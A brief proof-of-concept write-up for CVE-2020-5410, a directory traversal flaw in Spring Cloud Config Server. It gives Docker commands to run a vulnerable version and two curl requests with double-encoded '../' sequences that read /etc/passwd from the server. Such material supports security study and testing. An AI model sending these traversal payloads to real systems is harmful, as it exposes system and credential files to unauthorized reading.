CVE-2020-5410 Spring Cloud Config directory traversal vulnerability
Vulnerability description
Spring Cloud Config, version 2.2.x before 2.2.3, version 2.1.x before 2.1.9, and older unsupported versions allow applications to provide arbitrary configuration files through the spring-cloud-config-server module. Malicious users or attackers can use specially crafted URLs to send requests, which may lead to directory traversal attacks.
Analysis
Vulnerable Docker Install
Install any of the vulnerable versions https://hub.docker.com/r/hyness/spring-cloud-config-server/tags
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
--spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
PoC
curl "vulnerablemachine:port/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
curl "127.0.0.1:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development"
/etc/passwd content in response for educational purposes only :) .
